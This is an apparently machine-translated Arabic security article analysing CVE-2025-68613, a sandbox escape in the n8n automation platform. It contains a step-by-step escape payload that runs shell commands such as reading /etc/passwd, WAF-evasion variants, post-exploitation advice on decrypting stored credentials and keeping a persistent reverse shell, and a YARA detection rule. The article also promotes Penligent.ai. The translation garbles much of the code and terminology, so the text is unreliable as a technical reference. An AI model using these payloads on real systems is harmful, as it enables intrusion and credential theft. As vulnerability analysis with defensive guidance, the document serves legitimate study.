في الأيام الأخيرة من عام 2025، اهتز مجتمع DevSecOps بسبب الكشف عن CVE-2025-68613وهي ثغرة أمنية حرجة تحمل درجة CVSS القصوى من 10.0. كان الهدف ن8 نوهي أداة أتمتة سير العمل مفتوحة المصدر الأكثر شيوعًا في العالم، والتي تعمل بمثابة النظام العصبي المركزي لآلاف المؤسسات، وتنسيق البيانات بين إدارات علاقات العملاء وقواعد البيانات والبنية التحتية السحابية.
بالنسبة لمهندس الأمن النخبوي، فإن رفض هذه الثغرة باعتبارها "ثغرة منخفضة التعليمات البرمجية" هو خطأ. يعد CVE-2025-68613 درسًا رئيسيًا في استغلال JavaScript الحديث. إنها توضح كيف أن وقت تشغيل Node.js الديناميكي، عندما يقترن بخلل في نموذج قدرة الكائنات و تلوث النموذج الأولي التقنيات، يمكن استخدامها كسلاح لتحويل منصة أتمتة حميدة إلى رأس شاطئ على مستوى الجذر.
تتخلى هذه المقالة عن التقارير السطحية لإجراء تشريح على مستوى البايت لأساسيات الهروب من صندوق الرمل، وفشل vm الوحدة النمطية، وكيف أن التحليل المنطقي المستند إلى الذكاء الاصطناعي يغيّر اللعبة بالنسبة للفرق الزرقاء.
بنية الفشل: لماذا Node.js vm فواصل الوحدات
لفهم عملية الاستغلال، يجب أن نفهم أولًا البيئة. يسمح n8n للمستخدمين بمعالجة البيانات باستخدام تعبيرات JavaScript، وعادةً ما تكون مغلفة ب {{ }} بناء الجملة. لتنفيذ شيفرة المستخدم غير الموثوق بها هذه، اعتمد n8n (قبل الإصدار 1.122.0) على Node.js الأصلي vm الوحدة النمطية.
إن vm توفر الوحدة النمطية واجهات برمجة التطبيقات لتجميع وتشغيل الشيفرة البرمجية ضمن سياقات الآلة الافتراضية V8. وهي تسمح بإنشاء "صندوق رمل"، وهو كائن محدد السياق يعمل كنطاق عام للشيفرة المنفذة.
وهم "الأمان"
فرضية vm.runInNewContext(code, sandbox) هو أن الرمز الموجود بالداخل لا يستطيع الوصول إلى كائنات خارج صندوق الرمل الكائن.
- النظرية: صندوق الرمل عبارة عن جزيرة.
- الواقع: تتصل الجزيرة بالبر الرئيسي بواسطة جسور (السلسلة النموذجية).
إذا اجتاز التطبيق المضيف أي في وضع الحماية (على سبيل المثال، تعريض متغيرات البيئة عبر عملية.env أو دوال المنفعة عبر المساعدين كائن)، يتم اختراق العزل. في حالة n8n، تضمن سياق التنفيذ مراجع لبيانات سير العمل، والتي ارتبطت ضمنيًا بالرسم البياني لكائن البيئة المضيفة.
الوجبات الجاهزة الفنية الرئيسية: العقدة.js vm الوحدة هي لا آلية أمان. إنها آلية تحديد النطاق. كما تحذر وثائق Node.js صراحةً: "لا تستخدمه لتشغيل تعليمات برمجية غير موثوق بها." CVE-2025-68613 هي النتيجة المباشرة لتجاهل هذا التحذير.

تشريح الاستغلال: من سلسلة النماذج الأولية إلى سلسلة النماذج الأولية
تتمحور الثغرة البدائية للثغرة CVE-2025-68613 حول اجتياز سلسلة نماذج JavaScript الأولية للهروب من vm السياق والوصول إلى المضيف الوظيفة مُنشئ.
تقنية التسلق "المُنشئ"
في JavaScript، ترث الكائنات الخصائص من نماذجها الأولية.
هذا: داخل تعبير n8nهذاإلى كائن سياق صندوق الرمل.هذا المنشئ: يشير هذا إلى الدالة التي أنشأت كائن السياق. في معظمvmالتطبيقات، فإن هذا يحل إلىالكائنالمُنشئ في الداخل صندوق الرملهذا.المُنشئ.المُنشئ: هنا يكمن الخرق. لأنالكائنالمنشئ داخل صندوق الرمل مشتق في النهاية من أساسيات محرك V8، وغالبًا ما يؤدي اجتياز مُنشئه إلى البيئة المضيفةالوظيفةمُنشئ.
بمجرد أن يستحوذ المهاجم على المضيف الوظيفة المُنشئ، يكون لديهم فعليًا eval() المكافئ الذي ينفذ في سياق المضيف-خارج صندوق الرمل.
كود سلسلة القتل
دعونا نحلل منطق الحمولة المسلحة المصممة لتجاوز المرشحات الأساسية.
جافا سكريبت
'/// الخطوة 1: الهروب من صندوق الرمل // نصل إلى مُنشئ الدالة الأجنبية (سياق المضيف) constForeFunction = this.constructor.constructor.constructor;
// الخطوة 2: سد الفجوة // نستخدم الدالة الأجنبية لإنشاء إغلاق يُرجع كائن "العملية". // هذه الدالة الجديدة غير مقيدة بقيود صندوق الرمل. const getProcess = ForeignFunction('إرجاع العملية');
// الخطوة 3: التنفيذ // ننفذ الدالة لاسترداد مقبض العملية العامة. const proc = getProcess();
// الخطوة 4: استيراد الإمكانيات // نستخدم process.mainModule للوصول إلى محمل الوحدة الداخلية. const require = proc.mainModule.require;
// الخطوة 5: التسليح // نقوم بتحميل 'child_process' وتنفيذ أمر shell. const result = require('child_process').execSync('cat /etc/passwd').toString()؛
في سياق سير عمل n8n، يتم تصغير هذه السلسلة بأكملها وإدخالها في حقل تعبير شرعي، مثل متغير عقدة "تعيين" أو قيمة رأس طلب HTTP.
التهرب المتقدم: تجاوز التحليل الثابت
عندما تم التهامس لأول مرة عن CVE-2025-68613 في دوائر مكافأة الأخطاء الخاصة، حاول بعض المسؤولين التخفيف من حدته باستخدام قواعد WAF أو مرشحات إعادة التضمين التي تحظر كلمات رئيسية مثل العملية, المُنشئأو تتطلب.
بالنسبة للغة ديناميكية مثل JavaScript، فإن التصفية الثابتة سهلة التجاوز.
التقنية أ: حساب الأوتار وترميزها
يمكن للمهاجمين إعادة بناء الكلمات المفتاحية المحظورة في وقت التشغيل باستخدام تسلسل السلاسل أو رموز أحرف ASCII.
جافا سكريبت
{ const c = "con" + "مُنشئ"؛ const p = "pro" + "cess";
// استخدام ترميز الوصول إلى المصفوفة بدلاً من الترميز النقطي
const foreignFunc = هذا[c][c][c];
const proc = foreignFunc("return " + p)();
إرجاع proc.mainModule.require("child_process").execSync("id").toString();
})() }}`
التقنية (ب): واجهة برمجة التطبيقات العاكسة والتعتيم الوكيل
تستفيد الثغرات المتقدمة من انعكاس واجهة برمجة التطبيقات لفحص الخصائص واستدعائها دون تسمية مباشرة، مما يجعل تحليل شجرة بناء الجملة المجردة (AST) أصعب بكثير على أدوات الأمان التقليدية.
جافا سكريبت
``{{{{/ استخدام Reflect للعثور على المُنشئ ديناميكيًا دون تسميته مفاتيح كونت مفاتيح = Reflect.ownKeys(هذا.بروتو)؛ const consKey = keys.find(k => k.toString().charCodeAt(0) = 99)؛ // 'c'
const ForeignFunction = Reflect.get(this, consKey)[consKey];
// تابع مع RCE...
}}`
هذا يوضح سبب كون مطابقة الأنماط معيبة بشكل أساسي ضد الثغرات المنطقية في اللغات المفسرة.
ما بعد الاستغلال: n8n كمحور C2 النهائي
غالبًا ما يكون الحصول على RCE على مثيل n8n أكثر قيمة من اختراق خادم ويب قياسي. n8n يقع عند تقاطع أنابيب البيانات الأكثر حساسية للمؤسسة.
1. مخزن وثائق التفويض
تخزّن n8n بيانات الاعتماد للخدمات المتصلة (AWS وStripe وSalesforce وPostgreSQLSQL) في قاعدة بياناتها الداخلية (افتراضيًا إلى SQLite الموجود على ~/.n8n/database.sqlite). بينما تكون هذه مشفرة، يسمح RCE للمهاجم بـ
- قراءة مفتاح التشفير من متغير البيئة (
n8_مفتاح_التشفير) أوالتكوينالملف. - فك تشفير مخزن بيانات الاعتماد بالكامل.
- قم بالتمحور أفقياً في البنية الأساسية السحابية باستخدام مفاتيح صالحة ذات امتيازات عالية.
2. الثبات بدون ملفات
تقوم البرمجيات الخبيثة التقليدية بإسقاط نسخة ثنائية على القرص، والتي يمكن لحلول EDR (الكشف عن نقاط النهاية والاستجابة لها) فحصها.
في n8n، يمكن للمهاجم إنشاء "سير عمل الظل":
- الزناد عقدة "Cron" مضبوطة على التشغيل كل 10 دقائق.
- الإجراء: عقدة "الوظيفة" التي تنفّذ JavaScript خبيثة (على سبيل المثال، برنامج نصي عكسي أو برنامج نصي لاستخراج البيانات).
- التخزين: البرمجيات الخبيثة موجودة فقط ككائن JSON في قاعدة بيانات n8n. إنه بدون ملفاتومستمر، ويمتزج مع منطق العمل الشرعي.
الكشف المنطقي القائم على الذكاء الاصطناعي: الميزة البنلجنتية
يُعدّ اكتشاف CVE-2025-68613 كابوسًا بالنسبة للماسحات الضوئية التقليدية لاختبار أمان التطبيقات الديناميكية (DAST).
- المشكلة تعتمد الماسحات الضوئية على "التشويش الأعمى". يرسلون حمولات مثل
" أو 1=1 ----أوتنبيه(1). مقابل محرك التعبير، تتسبب هذه الحمولات ببساطة في حدوث أخطاء في بناء الجملة. يفشل سير العمل، ويبلغ الماسح الضوئي عن "نظيف". - الفجوة المنطقية لاكتشاف ذلك، يجب أن تفهم الأداة بناء جملة جافا سكريبت و سياق سير العمل.
هذا هو المكان Penligent.ai يمثل نقلة نوعية. يستخدم Penligent وكلاء الذكاء الاصطناعي الواعي بالسياق التي تقوم بالتحليل الدلالي:
- التشويش النحوي: يتعرف وكلاء بنليجنت على
{{ }}بناء الجملة كنقطة حقن الشيفرة. بدلاً من السلاسل العشوائية، يقوم الوكيل بإنشاء كائنات JavaScript صالحة. - فحص قدرة الكائنات: يقوم الوكيل بحقن مجسات آمنة لاختبار حدود صندوق الرمل (على سبيل المثال,
{{ {{ this.constructor.name }}}}). يقوم بتحليل المخرجات. إذا رأى "كائن" أو "دالة"، يستنتج أن سلسلة النماذج الأولية سليمة. - طفرة التعتيم إذا تم حظر مسبار ما (على سبيل المثال، "تم رفض الوصول")، يقوم الذكاء الاصطناعي في Penligent تلقائيًا بإعادة هيكلة الحمولة باستخدام تقنيات التهرب المذكورة أعلاه (حساب السلسلة، واجهة برمجة التطبيقات العاكسة) للتحقق مما إذا كان الحظر سطحيًا فقط.
من خلال محاكاة المنهجية التكرارية للباحث البشري، يتحقق Penligent من صحة قابلية الاستغلال للمنطق، مما يوفر إثباتًا للمفهوم (PoC) بدلاً من إثبات إيجابي كاذب.
دليل الفريق الأزرق: الكشف والدفاع
بالنسبة للفريق الأزرق، يتطلب التخفيف من حدة فيروس CVE-2025-68613 استراتيجية دفاعية متعمقة تفترض احتمال اختراق طبقة التطبيق.
1. توقيعات الشبكة (YARA/Snort)
في حين أن تشفير الحمولة يجعل اكتشاف الشبكة صعبًا، إلا أن العديد من المهاجمين يستخدمون حمولات افتراضية. مراقبة طلبات HTTP POST لـ /الراحة/سير العمل تحتوي على أنماط جافا سكريبت مشبوهة.
مثال على قاعدة YARA:
القاعدة DETECTECT_N8N_EXPRESSION_INJECTION { التعريف: الوصف = "يكتشف محاولات الهروب من صندوق الحماية JS في n8n (CVE-2025-68613)" الخطورة = "حرجة" السلاسل: $js_constructor = "{{" $js_constructor = "مُنشئ" $js_process = "process.mainModule" $js_child_child = "child_process" $js_char_code_char_code = "String.fromCharCode" $js_reflect = "Reflect.get" شرط: $oken_start و (2 من ($js_*)) }
2. التصلب المعماري
- الحاويات: لا تقم بتشغيل n8n كجذر. استخدم حاويات Docker بدون جذر مع نظام ملفات للقراءة فقط.
- إسقاط الغطاء قم بتشغيل الحاوية باستخدام
-كاب-الإسقاط = الكللمنع تصعيد الامتيازات حتى بعد إعادة الإنفاذ. - تصفية الخروج: قم بتكوين نُهج شبكة Kubernetes أو مجموعات أمان AWS لحظر كل حركة المرور الصادرة من حاوية n8n، باستثناء واجهات برمجة التطبيقات المدرجة في القائمة البيضاء اللازمة لسير العمل. هذا يقتل اتصال الصدفة العكسي.
3. تأمين البيئة
تعيين متغير البيئة N8N_BLOCK_ENV_ACCESS_IN_NODE=صحيح. تحاول هذه الميزة، التي تم تقديمها في الإصدارات الأحدث، حظر الوصول إلى عملية.env من داخل العقد، مما يخفف من سرقة بيانات الاعتماد حتى لو تم تنفيذ التعليمات البرمجية.
الخاتمة: نهاية الثقة الضمنية
يُعد CVE-2025-68613 بمثابة لحظة فاصلة لأمن منصات التعليمات البرمجية المنخفضة. إنها تذكرنا بما يلي المرونة هي عدو الأمن. عندما نمنح المستخدمين قوة لغة مكتملة مثل جافا سكريبت لمعالجة البيانات، فإننا ندعوهم إلى نواة تطبيقنا.
إن مستقبل الأتمتة الآمنة لا يكمن في "مرشحات إعادة ترتيب أفضل" أو "تصحيح vm الوحدات"، ولكن في تقنيات العزل المعماري مثل WebAssembly (وسم) أو عزلات V8التي توفر وضع الحماية الآمن للذاكرة. وحتى ذلك الحين، تظل عمليات التصحيح الصارمة والاختبارات القائمة على الذكاء الاصطناعي والتجزئة القوية للشبكة هي دفاعنا الوحيد.

